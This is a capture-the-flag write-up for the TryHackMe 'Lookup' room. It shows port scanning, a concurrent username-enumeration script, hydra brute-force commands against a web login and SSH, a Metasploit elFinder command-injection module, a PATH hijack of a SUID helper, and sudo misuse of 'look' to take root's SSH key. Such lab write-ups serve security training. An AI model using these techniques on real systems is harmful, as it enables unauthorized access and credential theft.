THM - Lookup
Hi,
This is my writeup about the TryHackMe easy room “Lookup”.
Enumeration
This room is marked as easy, but as most ctf and ctf-like rooms/boxes, there are not plenty of information about the target. So, the first step will be to get a picture of the whole thing.
Readers of my other blog posts will already have an idea of what’s coming next:
1
nmap -Pn -p- $target -oN ports && nmap -Pn -sC -sV -p (grep -Po '[0-9]*(?=/tcp)' ports | tr '\n' ',') $target -oN services
This reveals two open ports:
The webserver is trying to redirect to lookup.thm
, so lets add this fqdn to our /etc/hosts
file.
Website
The first thing I tried was SQLi, as usual, but I couldn’t get it to work. I also ran sqlmap against it, but still had no success. Next, I decided to check the SSH service. I tried brute-forcing the root
user using the rockyou
wordlist, but this attempt also didn’t succeed.
So back to the website and playing around with Burp-Suite, I noticed that, when I tried another user, for example tester
, the error response was not the same as for the user admin
. This means: I should be able to enumerate valid usernames. Maybe some of them are bruteforceable?
User Enumeration
To get the username, I wrote a python script. The first version of it, was to slow and I’m not a patient person but a person who likes to code. I rewrote it to run concurrent requests:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import aiohttp
import asyncio
import sys
target = 'http://lookup.thm/login.php'
wordlist_path = sys.argv[1]
valid_usernames = []
async def send_request(sess, uname):
form_data = {'username':uname.strip(), 'password':'test'}
async with sess.post(target, data=form_data) as response:
response_text = await response.text()
if 'Wrong username' not in response_text:
valid_usernames.append(uname.strip())
async def main():
async with aiohttp.ClientSession() as sess:
with open(wordlist_path, 'r') as wordlist:
tasks = []
for uname in wordlist:
tasks.append(send_request(sess, uname))
await asyncio.gather(*tasks)
asyncio.run(main())
print(f"Valid usernames: {valid_usernames}")
If you use my code here, keep in mind, you have to specify a wordlist!
As can be seen in the screenshot, I ran my script with the time
command. It took ~7 sec to find the valid usernames. Pretty fast!
Ok. Now I got two usernames, one of them I already guessed and also tried to brutefoce. I decided to handle the second username the same way, just to be safe.
Foothold
First of first, I started to brute-force the website login.
1
hydra -l jose -P rockyou.txt -f lookup.thm http-form-post "/login.php:username=^USER^&password=^PASS^:Wrong"
If I add flags or other arguments after the methode (http-form-port), hydra didn’t do anything. To work, I had to let the command line end with the method used.
Short run with rockyou wordlist, and jose’s password is cracked! With this credentials, I was able to login to the website as jose.
ELFinder
When login with user jose, the website redirect us to files.lookup.thm
. To work I need to add this subdomain to my /etc/hosts
file. After that, an elfinder is shown:
I save any information on my local machine, not just to be able to make writeups afterwards, but also to be able to continue in the next day without need of repeating steps. In this case I selected all those files and created a tar
archive file and download it to my local machine.
But all the files contained nonsense. Just four icons to the right form the archive icon I used to generate the tar
file, there is a question mark which shows the name and version of the webservice. When searching for elfinder in msfconsole, there is a module, which will work here: exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
Yes! Actually, a foothold as user www-data
.
User flag
Looking around, I found out, that there is a user on the machine named think
. On the home directory of this user, the userfile is laying around. But our current user has no permission to read the file. Obviously, a vertical movement is needed.
In this case, I do what I would do when trying to get root access. Check first for misconfiguration, for example SUID’s.
1
find / -perm /4000 2>/dev/null
Pro-Tipp: If you need the shell to be more, lets say usable you can stabilize the shell:
1 2 python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm
Sadly there seems not to be a binary which could be used to obtain root access. But still, there is one suspicious executable file: /usr/sbin/pwm
.
So this is interesting, because on the home directory of user think
, there was actually a file named .passwords
. If we get the executable to read /home/think/.passwords
, instead of the not existing /home/www-data/.passwords
, we can read the file content. The executable is using the command id
to get the username.
I ran strings
command on it, to find out whether it uses a relative or absolute path to id
command. But sadly the call for id
was not in the output. Next check then!
1
strace -e trace=process /usr/sbin/pwm
This reveals no path to id
which indicates that the command is called relativly. I then create a own script called id
on the /tmp
path and add that to my PATH
export.
1
2
3
4
echo '#!/bin/bash' > /tmp/id
echo "echo 'uid=33(think) gid=33(think) groups=33(think)'" >> /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
After that, I changed to the tmp
directory and run the executable:
Yes, a wordlist to bruteforce think
user. I know, not very realistic, but it is a easy box. I redirected the output of the executable to a file and start a http server to download it to my local machine.
1
2
/usr/sbin/pwm > passwords
python -m http.server 9090
Then I ran a bruteforce attack against the ssh
service for the user think
with our new wordlist.
1
hydra -l think -P ./passwords -f lookup.thm ssh
With the password login into the machine as think
user and obtain the user flag.
Root flag
Now I started with my privesc routine by checking first the sudo
command.
1
sudo -l
And checkpot! The user think
can use the look
command as root. This is a no-brainer. Checkout the GTObins - look page. With look
as root, I’m able to read files like I has root access. Now, from here on there are multiple ways to Root. The straight forward way would be to read the root flag by guessing the name of the file containing it. Another way would be to steal the ssh private key of the root use and login into the root user itself.
The later one is the better, because in a real pentest, you don’t have to read a special placed flag file, but to obtain as much privilege as possible.
That’s why I stole the private key and used it to log in as root:
After saving the key to my local machine, the permissions have to be set:
1
2
chmod 600 ./id_rsa
ssh root@lookup.thm -i ./id_rsa
A key in PEM format like this one, has to have an empty line at the end.
Now, with root access, the last flag can be obtained.
Good luck! :)